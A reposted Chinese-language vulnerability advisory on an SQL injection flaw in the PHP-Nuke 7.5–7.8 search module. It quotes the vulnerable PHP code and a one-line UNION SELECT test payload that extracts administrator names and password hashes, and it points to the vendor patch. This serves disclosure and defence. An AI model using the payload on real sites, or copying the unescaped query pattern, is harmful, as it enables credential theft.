PHP-Nuke index.php search模块SQL注入漏洞

2008-04-09 04:14:03来源:互联网 阅读 ()

新老客户大回馈,云服务器低至5折

信息提供:

安全公告(或线索)提供热线:51cto.editor@gmail.com

漏洞类别:

输入验证漏洞

攻击类型:

远程攻击

发布日期:

2006-02-20

更新日期:

2006-02-20

受影响系统:

PHP-Nuke PHP-Nuke 7.8

PHP-Nuke PHP-Nuke 7.7

PHP-Nuke PHP-Nuke 7.6

PHP-Nuke PHP-Nuke 7.5

安全系统:

PHP-Nuke PHP-Nuke 7.9

漏洞报告人:

Janek Vind (come2waraxe@yahoo.com)

漏洞描述:

BUGTRAQ ID: 16732

PHP-Nuke是一个广为流行的网站创建和管理工具,它可以使用很多数据库软件作为后端,比如MySQL、PostgreSQL、mSQL、Interbase、Sybase等。

PHP-Nuke较新版本的软件包中的search模块实现上存在输入验证漏洞,远程攻击者可能利用此漏洞对服务器程序执行SQL注入攻击。

在较早版本PHP-Nuke的“modules/Search/index.php”代码中,以7.1版本为例:

----------------[ from source code ]------------------

$query = addslashes($query);

if ($type=="stories" OR !$type) {

if ($category > 0) {

$categ = "AND catid=$category ";

} elseif ($category == 0) {

$categ = "";

}

$q = "select s.sid, s.aid, s.informant, s.title, s.time, s.hometext,

s.bodytext, a.url, s.comments, s.topic from ".$prefix."_stories s, \

".$prefix."_authors a where s.aid=a.aid $queryalang $categ";

if (isset($query)) $q .= "AND (s.title LIKE '%$query%' OR s.hometext LIKE

'%$query%' OR s.bodytext LIKE '%$query%' OR s.notes LIKE '%$query%') ";

if ($author != "") $q .= "AND s.aid='$author' ";

----------------[ /from source code ]-----------------

可见addslashes()用于$query变量,因此不可能执行sql注入。而在较新PHP-Nuke版本的相同代码段中,以7.5版为例:

----------------[ from source code ]------------------

$query = stripslashes(check_html($query, "nohtml"));

if ($type=="stories" OR !$type) {

if ($category > 0) {

$categ = "AND catid='$category' ";

} else {

$categ = "";

}

$q = "select s.sid, s.aid, s.informant, s.title, s.time, s.hometext,

s.bodytext, a.url, s.comments, s.topic from ".$prefix."_stories s, \

".$prefix."_authors a where s.aid=a.aid $queryalang $categ";

if (isset($query)) $q .= "AND (s.title LIKE '%$query%' OR s.hometext LIKE

'%$query%' OR s.bodytext LIKE '%$query%' OR s.notes LIKE '%$query%') ";

if ($author != "") $q .= "AND s.aid='$author' ";

----------------[ /from source code ]-----------------

只有第一行发生了变化:

$query = stripslashes(check_html($query, "nohtml"));

在这段代码中没有正确的过滤用户输入,允许攻击者执行SQL注入攻击。

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

p0hh0nsee%') UNION ALL SELECT 1,2,aid,pwd,5,6,7,8,9,10 FROM nuke_authors/*

解决方法:

厂商补丁:

PHP-Nuke

--------

目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

* PHP-Nuke PHP-Nuke 7.9.0

http://phpnuke.org/modules.php?name=Release

标签:

版权申明:本站文章部分自网络,如有侵权,请联系:west999com@outlook.com
特别注意:本站所有转载文章言论不代表本站观点,本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系,版权归原作者所有

上一篇:Microsoft Windows Media Player插件缓冲区溢出漏洞

下一篇:Firefox = 1.0.7 HTML解析拒绝服务漏洞